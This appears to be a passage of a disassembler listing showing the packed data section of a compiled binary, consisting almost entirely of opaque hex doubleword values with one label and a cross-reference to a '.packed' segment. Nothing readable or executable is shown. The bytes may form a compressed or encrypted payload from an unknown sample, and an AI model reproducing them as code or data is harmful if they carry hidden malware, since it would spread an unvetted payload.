dd 0D4DCE186h, 7EDC0083h, 0EE77F6E2h, 8E3FAF20h, 176D0026h
dd 0D19D2968h, 57F4E3h, 0DAEFA0ABh, 34CE5DCBh, 2A001EF4h
dd 7A3A6DE8h, 3BE09136h, 0EB005794h, 0D893845Ah, 0F100CB76h
dd 78553570h, 3B737FFFh, 0C7809CF8h, 0B6249064h, 0F30E10FBh
dd 7C2CD786h, 0FD5D0900h, 69DC97h, 6C6FC3CCh, 0CB61BEF9h
dd 66C4AC1Eh, 0C51EA080h, 3A651662h, 0F59D0104h, 7DE50729h
dd 0D4FAE0A3h, 8D004E7Fh, 0E102B8BCh, 3FD0A99h, 0BBB7426Bh
dd 3D9A41Eh, 5846DC83h, 18285C07h, 2ED06EE5h, 3B8543Ch
dd 603D821Bh, 5F16984h, 0DBBDD856h, 0DF15300Fh, 0C2966788h
dd 149B06F0h, 0FA550047h, 0BA434EF7h, 0A000A9DEh, 7D03651Fh
dd 1EB23422h, 963A8E45h, 0E62000B9h, 0BADC15Eh, 0FA83D700h
dd 0BB6B0D63h, 3A86FCBAh, 9C584B1Eh, 6DDFCA0Eh, 4547F040h
dd 0A53D5AD4h, 8933806Bh, 747A5D4Ah, 111E007Bh, 0ED30D571h
dd 0A914C882h, 0DEEFE9h, 0C438025Dh, 0F169A22h, 924CCAF5h
dd 0D9254180h, 7450D256h, 9F754FF0h, 0B4DD1900h, 843F1639h
dd 0C5101CC3h, 0D08380BAh, 87F047CEh, 3EC6F81Dh, 0B9BF6800h
dd 7D19E580h, 8BF658h, 2DA232A6h, 14610CE9h, 75F42A98h
dd 2FA76905h, 0FC02662h, 1EB3FD7Fh, 0C022A2FAh, 0B060C976h
dd 4F00E2D0h, 7F1FC6E6h, 4C9149h, 985A9BF0h, 15473FFBh
dd 1E66EE05h, 4FC0EBA9h, 796FA0h, 54C08B06h, 19FBE55h
dd 0BA3A1800h, 4697C59Dh, 75040BFFh, 6680DD5Bh, 0BBA20C3Eh
dd 6BFCA700h, 10FFD72Ah, 0E840006Ch, 0F8D4EA0Eh, 25B82395h
dd 3A74DE00h, 0D8AF24Bh, 448400F0h, 0B5401938h, 60003415h
dd 0AEFE43ABh, 74C69EB9h, 0C92B011Dh, 0D8678059h, 6437FC2Ah
dd 0BF653F04h, 0B9834D16h, 6796C0C7h, 0CE6601D1h, 735A18E5h
dd 42BCC060h, 5801DD2Ch, 2430C601h, 82F47CFDh, 0C75100F1h
dd 92EE1439h, 0A907B074h, 31F58D3Fh, 1EBC76h, 3CCA049Ah
dd 0AAF8D898h, 0CCC6ECEDh, 0E44C5907h, 86EAF199h, 0C41F8A01h
dd 66D8607Fh, 0E9B00051h, 0D60B596Fh, 9F008901h, 18CE12E7h
dd 1EB49DECh, 80F8C4B3h, 0D729B6E6h, 7F035274h, 0ECA3C95Dh
dd 0E840CF85h, 88EB3Ch, 0D4CEF50Ch, 515C48F9h, 66C6F300h
dd 102AA46Fh, 0B94A0067h, 65DD5D8Ch, 2E3BDA19h, 0F30C0089h
dd 0E9224EC2h, 0F7DB017Eh, 0F1A3BCDCh, 0BB10E843h, 25ADEC1Fh
dd 79175240h, 39F46580h, 1DFFFDD6h, 0C090678Dh, 9E2DEF60h
dd 221FDD6Dh, 918028ACh, 0D15FB747h, 0DB9F1DB8h, 4B668145h
dd 0C1E0FD2Eh, 0E4062011h, 550FE3F2h, 0C0EC9312h, 4A451392h
dd 0E1100003h, 3AF343C6h, 4B0ED144h, 0A3BD5ED9h, 0B081B553h
dd 0F07D20Ch, 0BCF6D399h, 7DEDDCA0h, 0EC1D7AF5h, 0C6C425D8h
dd 6D80CF45h, 0F4F7D62Bh, 7EE61CA4h, 0DC5500A3h, 3AACB2CBh
dd 1C06FA3Ch, 1B0321B9h, 984ADB11h, 597B03h, 0FCA57598h
dd 0C0E3B31Fh, 0A84EFF1Fh, 0B0290780h, 8C88C9h, 46E7B7A9h
dd 378F62BDh, 9D3FB20Fh, 0BECA4080h, 7DD742B1h, 91D800D1h
dd 6D514757h, 0DE00595Dh, 7743665Ah, 30C558B5h, 0A864982Dh
dd 0E63C0A84h, 6006803Fh, 2975D3B9h, 7005FE35h, 97800F7Ch
dd 6FE10B25h, 0F06992DCh, 0A00285Fh, 39CC5333h, 9CEC2Ah
dd 72964C4Ah, 0D61755ACh, 0B8B48603h, 0D7F918A9h, 0E7CD380h
dd 87D70002h, 0D9E6A062h, 970E4F20h, 0C0FCEBDFh, 617AD08Eh
dd 0AAF207F4h, 537C0922h, 0C0A003BAh, 3B002189h, 0B0BF13C2h
dd 0A9ACFBh, 0E7FD8BD5h, 9F0C5311h, 0D6FA8600h, 5EAF4DF4h
dd 1D5B0295h, 3BB9343Ch, 2947C480h, 0BC009864h, 1BD09463h
dd 0FBCB88h, 52D414DBh, 7F97B104h, 82710B00h, 8CFD0141h
dd 4CE200FEh, 69541812h, 9C00AAE7h, 64A44FFh, 0FA2EDFh
dd 7F83564Dh, 93E1E345h, 0D2822800h, 775C08D8h, 70FD3A81h
dd 0F7533C73h, 7F52B00h, 59E865D3h, 1776BC00h, 94C71F9Eh
dd 0DA6700B5h, 0EB500C1Ch, 0BC3D42A1h, 1D30023h, 6919C9F2h
dd 341E0025h, 4FD4470Ah, 0FB0FD895h, 60B801E0h, 437B3248h
dd 0E150739h, 0E00FBFAFh, 0ADC0F67Fh, 0A81C4900h, 71EA0B2Ah
dd 0D090DCh, 9083C658h, 37E74A8Fh, 0B5C5C900h, 0F1236ABh
dd 3CFD0053h, 45A15EFBh, 571E19E1h, 0B656DA8Ah, 0EFF90600h
dd 0B51D4Ch, 0E3EB92FFh, 756DD1Fh, 41893107h, 8F53272Bh
dd 0DF7C016Eh, 0FDA56552h, 882DE0D8h, 32006B75h, 80C35FFFh
dd 0EBCCBE3h, 982B8C73h, 480F7F80h, 0DF011044h, 0C6AD85A1h
dd 29D8F363h, 0E0B500E5h, 53F9A6D2h, 6B002DDCh, 0D4F4C6CEh
dd 14346B8h, 4F222E4Ch, 6016D274h, 0CD00E56Bh, 0BF70610Ah
dd 0E6EA148Ah, 0B0B7386Ah, 0C0B3E71Fh, 0FC77C6C9h, 1D00101Ah
dd 3F6E01BAh, 1FEB4E40h, 7C46B503h, 0B4CB9A00h, 0A4AA784Ah
dd 0C2000E71h, 93EF576Ah, 0E899411h, 0F46DFC51h, 4375FE27h
dd 0DAE07167h, 0C503AD37h, 10D3C9A7h, 0D88988E2h, 0B9510FA1h
dd 80FDEE7Eh, 902AAE98h, 551FA991h, 460099D4h, 6A2C05CAh
dd 0C3D100C2h, 7C3931F8h, 61094936h, 80AA41E2h, 0FA8B94D5h
dd 0D23500B2h, 0C031C386h, 0F701BCACh, 5522BB1Ch, 0ECF86811h
dd 0F0FA0016h, 50C2F46Eh, 3C1DCDEFh, 0E400AF75h, 3133BA15h
dd 8F0F009Ch, 1A01867h, 0AD002C09h, 78B2C512h, 63AE2Dh
dd 954854A2h, 0CB1CC1C0h, 35592B00h, 289B460Fh, 38AB0C7h
dd 9CD4C4CFh, 3DB025AAh, 5800D555h, 41870112h, 3EAFA304h
dd 0A90167BEh, 323F0E2Ah, 0F0CE6024h, 0C1000998h, 933CED36h
dd 1C7466E4h, 49A94A8Ah, 0E60069E0h, 0D5BE5906h, 75A8BD00h
dd 82F71CB2h, 5B260329h, 712DF6D2h, 0D3115988h, 0B81B4500h
dd 6030EF52h, 3A15008Ah, 81792B17h, 0E603F0A4h, 0B1711E38h
dd 7DA79082h, 803A00F8h, 3D7C5F5Ch, 0A101B08Eh, 0D77EE4F6h
dd 54F46DD0h, 0C5FD00D5h, 0D127EC96h, 0DD75B5D9h, 82C37B13h
dd 8992C900h, 85608Eh, 0F2814131h, 170F157Ch, 0D9A99A00h
dd 3FFD5D40h, 38F800D6h, 53577D3Bh, 0C600932Dh, 83D8ED41h
dd 31A8FD4h, 16E9A2DFh, 0DBB8D22Ah, 145848BAh, 0DCD400F9h
dd 85573A41h, 9DE039B4h, 0CF976D00h, 80352782h, 96694A00h
dd 0DC5F080Dh, 0E477AFh, 98AA44F3h, 0DF1F7579h, 3B002CF8h
dd 77A7DA78h, 20425Ah, 0ED4FF7E9h, 29F06A06h, 0C51AC600h
dd 76C9488h, 75CF00D9h, 3EB033E7h, 0AE170EECh, 31007DAAh
dd 6911A27h, 0E0AB0E95h, 61E0F5FCh, 89AAFF1Fh, 3C5B623Eh
dd 8B01878Ah, 2EB0F3C2h, 7AB17Eh, 0D3CD959Dh, 0D2A6F684h
dd 58B43205h, 0E0C37FA1h, 39AA9808h, 0D5270094h, 118F3B98h
dd 41073D4Ch, 0BAC60D10h, 0D02A677Fh, 2E5116h, 63F6802Dh
dd 5EE091D2h, 44703100h, 0D819F47Bh, 768A3CF5h, 0EC9F2700h
dd 0F6F029F7h, 5950AF00h
dd 14C76B86h, 0F94E0063h, 88929A1Eh, 5F58526Ah, 2C8B07D3h
dd 64D0BFDEh, 80621Ah, 33B9B096h, 0B1F87513h, 0F6316300h
dd 58C727FFh, 8F1200F2h, 40110DFh, 48055765h, 15A6401Ah
dd 0D0B1B700h, 330FDE6h, 77C49DF6h, 7E867AAh, 0BA001F34h
dd 78A312A5h, 1CBCE7DEh, 71A19Bh, 66231A39h, 1B00ECC0h
dd 2254D64Dh, 0EA6411h, 6D6F5806h, 1CF08B68h, 0B073C400h
dd 0A799CC90h, 0EE8F0056h, 0FADA5192h, 8300DD2Dh, 70B63622h
dd 9A6041h, 0F08AD4EFh, 3112F69Dh, 0C6944207h, 0FC205CFFh
dd 39D2B70Fh, 8F0F8739h, 198723A8h, 2A671024h, 0A700119Ch
dd 78CD9FD1h, 1DA8B33Ah, 0C048AC2Ch, 0C90FBB7Eh, 3500B02Bh
dd 53A53745h, 1CE612Eh, 0B8E3843Eh, 0C5F8CF88h, 0DFB5E058h
dd 0C8AD300h, 26BF8B1Ch, 0E92A03E4h, 0B25A146Fh, 900F56C8h
dd 1205DB00h, 60376AA8h, 82C60F33h, 3B401F7Eh, 23099A59h
dd 6BE2F800h, 753EA561h, 95C20088h, 70131E6Fh, 9B007D01h
dd 0F6B562FFh, 2F1B7Bh, 0A0BEA9FDh, 0FCC4B8DAh, 89861700h
dd 8E0CF72Bh, 53C76F9h, 0DF69B918h, 789B8037h, 6448873Dh
dd 0FF737CB5h, 3A0D7A0Fh, 0D5CB601Eh, 8D5FD6h, 0C14FA8ADh
dd 2EF0EDD9h, 61203303h, 0C0CCACAFh, 3A19F5B6h, 2A006CDEh
dd 0D33BDB99h, 6DE4567Eh, 2D51B02Ch, 1F246B00h, 480E5E34h
dd 7000B6C3h, 780304E2h, 7A011E17h, 596107B1h, 88FF9CE1h
dd 961557h, 26DBAEC9h, 91801614h, 0EA3DA3Eh, 0E13184ACh
dd 0A89DCD11h, 3250CD8h, 74CA36E3h, 8DA0EB63h, 6B00F8A6h
dd 0D1CEFBD0h, 2221FFh, 5AAD3531h, 0F03482DBh, 0B8BCCA00h
dd 53A9E687h, 2F2C002Ah, 70FC88BBh, 5B0009B2h, 47D49FBAh
dd 0E103Fh, 903AC534h, 0E8E4B8F2h, 0F7D3A800h, 40E12FF5h
dd 19E6005Fh, 919AAEA2h, 0C7000F5Ch, 8A70BCC4h, 3A61D50Dh
dd 2F80E8A4h, 495B017Bh, 21002D38h, 585E2AD1h, 0B4FED5h
dd 0AF322BE4h, 0D658CC3h, 0FB614A00h, 0CC2C129Eh, 0C0BC00F1h
dd 26E59663h, 7D0F998Eh, 81615CDDh, 0F265EE6Fh, 3998FC40h
dd 0D6701F44h, 0C909C140h, 0CC0A3507h, 0AB006D49h, 44D8C4C3h
dd 5461C8h, 2688F04Dh, 0BA24138Bh, 8055DB3Dh, 38760A19h
dd 7412ED8h, 58E0661Dh, 0E2D7F0F3h, 0B00E18Dh, 9D045C47h
dd 0AD6CF5h, 0C0E50686h, 0B3EE3484h, 7DC1E300h, 11C2C830h
dd 0FA280EADh, 60C01D66h, 0A556C978h, 0F7256200h, 214B88AEh
dd 5B7BC6h, 0FF269C3Dh, 41C8F52Eh, 0DA2F6B00h, 2DF7F486h
dd 28B70065h, 10290761h, 0C6EC44F1h, 0C8188E00h, 1DD739CBh
dd 4195002Ah, 0BEC52B53h, 0B800EBF5h, 672DBF08h, 205D2C0h
dd 0D0259BFAh, 276026F7h, 0E103E29Fh, 7BB88DAAh, 0A4F0CFCCh
dd 0F2147899h, 0CE7618h, 0BEAD88DCh, 46D4E1A5h, 47D5BA03h
dd 9835BF27h, 254C6Ch, 0DA390476h, 3B890724h, 569D2003h
dd 0E8C821D9h, 0F113BEh, 51ED247h, 1FAB999Eh, 322DDE01h
dd 0BE7D5558h, 7A2A0C0h, 946B3A3Fh, 1CC320E0h, 9D00DCD3h
dd 0C1EF76EBh, 3DF2990h, 1342BA04h, 7C0B102h, 0F100D3E9h
dd 289DCBD7h, 15215h, 89EFF6CCh, 6949F8A1h, 18567500h
dd 0D92C386Bh, 162400A4h, 2AF360EBh, 5838D189h, 0DFE5001Ch
dd 0A698EA97h, 0D0BA0E3Dh, 0EFC06EBDh, 42010A71h, 0A5BC4C00h
dd 0D7F32D24h, 3130003Dh, 0E7EF0B89h, 0B3003787h, 0DACC268Ch
dd 3AD75F45h, 0DD00BC99h, 75B19DB7h, 920071C9h, 1A33F5D4h
dd 587D6Fh, 63C328DCh, 31B7A2CBh, 0AA71D600h, 51EAC8FAh
dd 2FC70013h, 7B230588h, 0CD000F92h, 2970A67Eh, 1430D8h
dd 3E09B508h, 9E539A83h, 7B2BF458h, 9BE62700h, 5C8B69C5h
dd 2CE895h, 0A6102264h, 0AE19376Ch, 0BBAA8300h, 0A4077FFAh
dd 8DF50005h, 1C01E025h, 511D2A0Bh, 34268C93h, 0C00EB40Eh
dd 6FD48540h, 9D230075h, 0E086E13Ch, 0FD006568h, 32669996h
dd 48293437h, 0B73E41F8h, 309C279Ch, 0D7ACFC5Eh, 670B38h
dd 29E71E9Ah, 90771Ch, 0E05CC656h, 0BAA37D64h, 0DC00F87Bh
dd 9F177E32h, 0B70DDEh, 23C2E1D5h, 0D7BA030Ah, 0F4C8D226h
dd 80DABB39h, 3B20D461h, 2EC513h, 9BCC1547h, 0F1F8D549h
dd 0EC2BC1EBh, 0BE00A1DAh, 0B9858B2Ch, 58D412h, 9FC2488Dh
dd 0FB9D3E6Eh, 1CDCAA3Eh, 4B8003F0h, 0D8CB924Fh, 51190034h
dd 25067C80h, 0E00095BBh, 8F4A3B7Dh, 0E0EFFDF4h, 284E07A2h
dd 30A7E4A0h, 5B1BB302h, 0F907BF73h, 0D89ED68Eh, 7B244E30h
dd 0F65D003Fh, 1C9F552Ah, 13007D4Bh, 0E5314A0Eh, 77FC0FE9h
dd 6F4330C8h, 426616CEh, 5F5E710Fh, 0A6C78585h, 0B1CF5680h
dd 0FB40008Fh, 0C6D9797Fh, 5A70650Bh, 0AF6E4Ch, 4610128Dh
dd 3E843Dh, 3A814011h, 4FC60376h, 33F70600h, 7CE2A634h
dd 1E14906Bh, 4FE32250h, 0B1603D42h, 549E4F70h, 0DB929617h
dd 34A40107h, 5A21BE50h, 85EA1C4Ch, 14688023h, 0A67BAAB4h
dd 58B30F01h, 697049EEh, 398605C8h, 30F8944h, 56409176h
dd 0B336BB01h, 0BDC8DC05h, 3BC0D802h, 76CD8CA8h, 56FE2607h
dd 389037Ah, 60874F88h, 0C5A2368h, 1FA8FBE1h, 0C517118Dh
dd 5A004555h, 92D63ACFh, 6D8B0731h, 0B7BA15h, 1C6E5E2Fh
dd 0C502100h, 260C544h, 2CCB016Ah, 0DE5CFDCh, 59DFC38h
dd 0D36138h, 979A9B75h, 56377Dh, 0DBB6AB2Eh, 52C5D953h
dd 94392D00h, 36D5E85h, 0F4BA00C7h, 0FB279B9Ch, 3600C42Bh
dd 4199E4C8h, 0DE5C3Eh, 5EC7CEA8h, 0EC9E0B90h, 0E10D2900h
dd 2E9CAA4Bh, 0B93000AFh, 1CE4B721h, 930035A4h, 0D4C6861Eh
dd 69F13Bh, 438D3624h, 0D34478FCh, 5042A00h, 0ADF5DB56h
dd 0B45B00F4h, 542DD495h, 70006BABh, 97627355h, 0FE7CA1Ch
dd 7FFEA44Ch, 0B9D78DC0h, 5E003C43h, 0A9B2C96Fh, 8FD060h
dd 65871831h, 61E1237h, 43016C72h, 46A60B5Ah, 42F89A32h
dd 21AA039Ch, 6A9BCED3h, 0ADF63FA8h, 5DBF3600h, 5CDFD02Bh
dd 9F0D00BBh, 8AA07467h, 7B07F8B0h, 1655174Bh, 0D0C1D173h
dd 0E8EEAh, 0E6F042B6h, 0A79007F3h, 41B330Eh, 587B804Ah
dd 81C075h, 767E8F28h, 6520CD32h, 0F6EE4C00h, 0BAFEABDEh
dd 86F301AAh, 16E13746h, 9E26DC6Ah, 14D5B950h, 0A4BBAB03h
dd 0E83ADAC4h, 0E5E9B44h, 46EC8C17h, 53A5EA80h, 38FCFCCEh
dd 3DEAC35Ch, 3E16005Fh, 65693CEBh, 4D700366h, 1D61552Bh
dd 0D7040BD0h, 0E3EBB41Eh, 780E7240h, 3E146Ah, 13C0B37Eh
dd 247C3D82h, 95D6ED01h, 0F00784D7h, 98A4FFCCh, 93470030h
dd 0BCFE8831h, 411CD842h, 5809875h, 0AAB699F7h, 9DB80024h
dd 72583FAFh, 0AB0F64B4h, 0C0D012D5h, 0ECC0719Eh, 1D5CE2D1h
dd 0D80C5Dh, 7F4AC18Dh, 41009A46h, 173A892Eh, 0EF9B4h
dd 0EB77A9EDh, 127DD6CAh, 0A53CE00h, 0DEE13DB6h, 6B1530A2h
dd 95F04E1Ch, 11AA3600h, 0F842EED8h, 0C7E300EFh, 0DC2A6E16h
dd 0F34CD0E4h, 4DE900E8h, 755E9823h, 2ECF029Ah, 95A9B1CCh
dd 0AC23960h, 81595A07h, 5EE1A6EDh, 54C8E3C4h, 52BE0046h
dd 0F66AB626h, 8900A3B3h, 8656841Fh, 1E68666Ch, 83B98049h
dd 775C7547h, 67F259D0h, 0C0DCB802h, 0E0B2AEEAh, 739E929h
dd 7F1D958h, 9E7A3FAh, 0FC971AD8h, 0CFA72305h, 0AF003751h
dd 0FFD559B4h, 0D4F256h, 0F2E98A3Eh, 63531B85h, 94586603h
dd 0B7245B29h, 0A57CD5D0h, 0C234502Fh, 9A571D0Fh, 6D154082h
dd 0B5F2E30Dh, 6A99470Eh
dd 890860C0h, 0B7F9E0h, 53C3F060h, 2684BA51h, 92791C00h
dd 279164EFh, 0E0FA00CDh, 0D4580A7Bh, 0FD00C432h, 875F073Ch
dd 0D3492h, 887010BDh, 94D29DDAh, 0BA0725EAh, 7CF0787Eh
dd 0E0EF1530h, 7F630037h, 59F2C4E5h, 36008E1Ah, 0D1F8D01Fh
dd 6AA779h, 66A81932h, 0D5C583F5h, 0BF0F2C00h, 99D8C362h
dd 418A0013h, 94649CAh, 0F798F856h, 0EA3BE700h, 0D4F1BBB1h
dd 80F2004Ch, 9B0BA5ACh, 0B500750Fh, 8266C5BDh, 488AC9h
dd 4F581F31h, 0A452CCDDh, 0EA67B700h, 0F4BD62Dh, 2E7403h
dd 3CDEF509h, 625D56DFh, 40DC8800h, 7C9F4725h, 691A01C5h
dd 0CEF7E8CBh, 0E4B5DCB7h, 3686381Ch, 9D37FF40h, 3721362h
dd 6A09EA95h, 96A07F2Ah, 16005CD7h, 92A49873h, 0F40C4160h
dd 0C2DB0083h, 3AE7F036h, 0DA003911h, 20305B8h, 3857C98h
dd 1AFF7697h, 0CD98AE2Ch, 0AC1D5F9Dh, 2780A0DBh, 0A538B97Ah
dd 4C7100B4h, 0BE99A677h, 7B3AC6FCh, 0C05680E4h, 0B3794695h
dd 37B50057h, 0F8BD6F48h, 2400ADDCh, 0F58CAA70h, 0D77EA3h
dd 0AFC471Eh, 9E766815h, 87B92200h, 0F34073C3h, 0B726003Dh
dd 0AEE87862h, 5D00DECCh, 43BDFC58h, 327A320h, 0DCB9E79Dh
dd 8AF8120Ah, 0CA00F1FAh, 0FC60CBFDh, 77A5745h, 20598DA3h
dd 0E9D6F0EFh, 0B43CFD38h, 2C4F00A1h, 0DF17BE62h, 0C85B002Ah
dd 1A0268ACh, 0C30008B7h, 19A0D050h, 1C4CA170h, 802F7AE0h
dd 0EF280CEh, 5800694Dh, 308A605Ch, 7393BBh, 8FE2B674h
dd 94E418B2h, 720D8D07h, 0E360DD8Eh, 59630h, 42E293DBh
dd 0EA454E35h, 9E7D6100h, 0D46BBEC3h, 49A500EEh, 201BE56Ch
dd 0BF02AECEh, 35AC5B38h, 56B960F8h, 0B5203A9h, 772B105Eh
dd 2F428FE0h, 96ABBC03h, 0F04E04DBh, 4014A6h, 3705DC11h
dd 809E2EE6h, 0ED79E200h, 9312BB75h, 92B90F48h, 0F9A1AC1Ch
dd 0D4C25241h, 0FF0054EDh, 6DF1B451h, 8F2F49h, 0CBBD7337h
dd 87C51F44h, 3C087B07h, 24098F0h, 1E9E4FCh, 0E00E1A78h
dd 0C0D41B7Ch, 45B090AAh, 273D4F00h, 0A473C40Bh, 20F6009Ch
dd 8D31B1F3h, 1903E502h, 0FED4D267h, 10A5E8B8h, 5D1B0FAAh
dd 0D0AFB150h, 9648100h, 71006E26h, 0C3C95F45h, 1E3E9685h
dd 410BA8B1h, 0BD1CADBEh, 0EEBAF05Eh, 57C9D600h, 562374D3h
dd 2B190003h, 59DE26EFh, 5B008005h, 0BC6E7E55h, 0EE465Eh
dd 1F93D1EDh, 1E8FFA2Bh, 15872600h, 8AF66188h, 2CE8A0CCh
dd 274600C8h, 932DDF44h, 0B60098D9h, 0F016A253h, 0ECE5F3h
dd 0F68FA877h, 51493FDFh, 26108503h, 80A5CF3Ah, 0D6AD9Ah
dd 64B56D9Bh, 0A32DA4D5h, 3D48F100h, 2CD1546Ah, 59D800E4h
dd 8464F00Bh, 0FD5A264Ah, 8FB32600h, 0AA350Ch, 62545A6Ch
dd 0CA89703Ch, 0FD010D00h, 0ADC3C86Dh, 0B60C0173h, 2B31C540h
dd 0A32B60B7h, 81D4B7Fh, 1400B34Fh, 0DC078083h, 22B0586h
dd 0C09E887Ch, 0AE215638h, 0B761B303h, 0C3A4356Ah, 0B263F778h
dd 0D466F0F0h, 7C3703EAh, 0C82A3C13h, 0DB444D0h, 3D9A1100h
dd 0F38779B2h, 9E55008Ch, 0B69D1CBEh, 53E23B38h, 0CD71B00h
dd 0C2B589E9h, 0FBBF0142h, 3C039593h, 0CAC680A1h, 4281DAEh
dd 41E7725h, 5BD03B17h, 6C8808Dh, 733A771Ah, 3EED8088h
dd 0C4CC2DA1h, 0E660501h, 0C0E7729Ah, 0C57EB742h, 0F6A5C100h
dd 33210CEBh, 946E1D66h, 75B100F2h, 20E3930Bh, 48D3B800h
dd 153C8690h, 0AB63038Fh, 0F0B47DE5h, 70383680h, 0A0694F01h
dd 1B49B2B3h, 7818AFD0h, 1987E61h, 0F391D464h, 0D876F727h
dd 0B1015644h, 30E7ECFDh, 3ADC4170h, 0BE5102E0h, 0BD5B28B0h
dd 0F9278FC0h, 92073DF8h, 0C11FBF74h, 80C46FA0h, 33F41C41h
dd 4A533Fh, 0AC98876Fh, 1E07C0FAh, 71752D66h, 38B15BF0h
dd 0EB49005Fh, 60A0130Fh, 591E5CB0h, 34C0766Fh, 9B17F779h
dd 0A965000Ah, 0B7ACF192h, 0D09597Bh, 802DCA33h, 0AF9CC1A1h
dd 0F952007Dh, 28D14131h, 0F0E8486h, 60F067AEh, 451F9CFCh
dd 12AB01EDh, 0BF02D488h, 78E5E48Bh, 0AD999200h, 0A5E360F6h
dd 0CDAA024h, 0BEAB0091h, 0B03D8B73h, 85001527h, 0A3716AFh
dd 0B063D2DEh, 1E981F20h, 0A3EE4036h, 0BF4CCBEBh, 0FF737100h
dd 3C06B187h, 0CA5000Fh, 891E6022h, 0BD00D353h, 3B6D10FEh
dd 0AAA98Ah, 0DB5D5B09h, 0CBDDAB7Dh, 98D7AE07h, 605EA3A5h
dd 0E5B75E73h, 0B970E138h, 0B97B00BBh, 1D1B8E56h, 2B50CEF0h
dd 7600ACACh, 3326BC5Bh, 7A484Dh, 7CBFB1F4h, 1159364Bh
dd 8AADFF02h, 408CDE66h, 0E2F8C5ABh, 89471446h, 87009697h
dd 272E7E42h, 7F031BBAh, 82A32859h, 0B0DE9BD5h, 9C7748h
dd 8FF36A93h, 6D985689h, 0C8145A03h, 0B831A41Eh, 44526Fh
dd 0DA6A668Ch, 0C123F39h, 0AE400203h, 0BFADFAF2h, 78C0AFA7h
dd 0A7FC13h, 0F00D33A9h, 359F4BB3h, 5AEAB1E0h, 0A242A000h
dd 5B62F302h, 311700D3h, 0FAE549E0h, 0A3FA33DDh, 0F60D900h
dd 0A65D8EF5h, 0E7230063h, 81D84AA5h, 0FC1F7DCAh, 56802EAAh
dd 5401151h, 0A8A4009Ah, 0C546185Fh, 0C200F749h, 0DB552948h
dd 85E51Bh, 0A247749Bh, 8DFE6496h, 600D898h, 6BCB34C5h
dd 484C9D44h, 3D01797Ch, 0B6192F35h, 0D6B4F8BBh, 2E00B2F8h
dd 3A780B46h, 75DA78Eh, 0FB04BF96h, 0D0829718h, 0E6B6B413h
dd 1038CE6h, 0AAC551C0h, 0C5D2EB6Bh, 330FD300h, 0FADDFCE8h
dd 113000F4h, 409ED0FEh, 0F200B95Dh, 2ABA86Bh, 39E8F973h
dd 0D48080C0h, 7AF614D6h, 6700D874h, 0A02F6FA6h, 0FA909BBh
dd 0C97846DCh, 2044ACA7h, 0EE6F53D4h, 2CBEE600h, 0C211E004h
dd 0E8E71F15h, 6DC008Ah, 1719488Fh, 0A1801600h, 0A8E09FBCh
dd 0DFD600DDh, 0C48AFEAEh, 44006E29h, 81522216h, 6B9D99h
dd 824EFD46h, 63EDCCD2h, 4A683400h, 50596AACh, 16BA0019h
dd 1746E454h, 53006CECh, 5C3FA936h, 2BD049h, 71864714h
dd 438E7D55h, 2848B00h, 6FA2F9D9h, 0C0BE1D33h, 0C364057h
dd 1CA9E156h, 0E0DB0B00h, 7C6C02A7h, 7787FF3h, 0B946E5ECh
dd 0D72C7010h, 0A67A45B4h, 24AB1305h, 0F68074B2h, 2ACA99h
dd 0B973437Ah, 219172A2h, 76C52D00h, 46CC3F8Eh, 0E18A3E44h
dd 0DAEBB104h, 4B4CC033h, 457B04E7h, 0B6C6B500h, 2D6FC3FDh
dd 684E0065h, 0B34182DCh, 1E001C75h, 30EF2387h, 109D408h
dd 89A5B54Ch, 0C08F26D0h, 0B6007B1Bh, 62563C68h, 0F1B002h
dd 7FC7F217h, 7A72768Eh, 6E06BA1Ch, 4C56280h, 103F29h
dd 68F04B2Dh, 1BB5EF13h, 8018743Dh, 0A355D65h, 2E3E90B9h
dd 11C0289h, 41DD5015h, 0ED3F60AAh, 0E8F0F100h, 3CAC1701h
dd 4E131F03h, 642F8BD5h, 11F92F00h, 39009D8Ah, 0BC363B51h
dd 48CDFh, 0D434AF3Ch, 9EA9FE2Dh, 0F63A3E00h, 0B2F806A5h
dd 1ABD00D6h, 1184089Bh, 82005E02h, 59F762E4h, 234E673h
dd 38DFC6ADh, 0ED401351h, 8F00DBEFh, 15F09875h, 4AB741h
dd 3B4E2DC2h, 0A56E8DCBh, 779C80EBh, 48FA0C6Fh, 29E900BEh
dd 83352269h, 0D400049Ah, 5556E46Ah, 0A71FD0h, 6199A2CDh
dd 40B5AB1Eh, 393A9700h, 0F1C1B42Eh, 0CC4300D5h, 0E46E5D19h
dd 0ADA0DE93h, 47171DA5h, 0A6038637h, 0C54AC235h, 365B8A80h
dd 0CBB40773h, 7CD6E04h, 657160BCh, 2B0F3B4Ah, 0EDEB35h
dd 0F9DC583Eh, 0B182006Fh, 0B077F8A2h, 1F074EC6h, 0BCA8A7A9h
dd 0A3E7A401h, 31BF4C80h, 6F280F43h, 0D5B5B200h, 19796A2Ah
dd 5E50007Ah, 9EDC8E51h
dd 4B00A453h, 8C7C77FAh, 63BD3Ch, 4D5734D2h, 92E5AC82h
dd 430013EAh, 2B57D10h, 7A6D0824h, 7F7100BFh, 870F57CAh
dd 751CEAA4h, 0E5C05FB4h, 0C7C35AB1h, 0A630001Ah, 6A9D3DF2h
dd 0FE60C64Ch, 3A666512h, 6F1600B1h, 219BA986h, 2A002409h
dd 0C69EF0E5h, 5C4C98B5h, 0D4004044h, 9DAD573Ah, 9C0020EBh
dd 9658FC0Eh, 3DE0EDh, 45E6FF63h, 242C69B1h, 1123EB07h
dd 802031DBh, 78AC5E3Eh, 0C3D73A19h, 4034AD00h, 792E2FCAh
dd 1B42F000h, 2259E35Fh, 971500D0h, 10D52546h, 0C7004398h
dd 8BE5A7C6h, 0F11B85h, 0E3585613h, 890FB87Ch, 3EF38400h
dd 2DB58A7Bh, 6CBF0731h, 4010C942h, 981254B7h, 518E3700h
dd 0A1AAA086h, 6E7DEAh, 0DB8C01B4h, 69B882C4h, 8113FC00h
dd 9CE0F71Dh, 80CA003Bh, 45D6B531h, 8200EC61h, 84EA6D9Fh
dd 1E9C4860h, 88CAEFh, 9664DEBBh, 1A00B0A7h, 0A19AAEC7h
dd 0A3EB4Bh, 0FA223888h, 3E06D3CFh, 603B7300h, 0F576906Eh
dd 0CB960E39h, 1B476BD1h, 53F40309h, 0EFC060FFh, 43009F65h
dd 0BA02FFFEh, 57E8CFh, 24486AA8h, 3177FD69h, 338E910Eh
dd 745BE017h, 0E23827h, 0D3FA6FA0h
dword_4E414C dd 0FCF2D7C6h, 0C468A101h, 0D5DADDBAh, 0C278ECh, 9A5A2229h
; DATA XREF: .packed:off_43CE80o
dd 0EC2FED2Bh, 950C3Dh, 1CB7C7F1h, 0F798592h, 0EAE4C37Ah
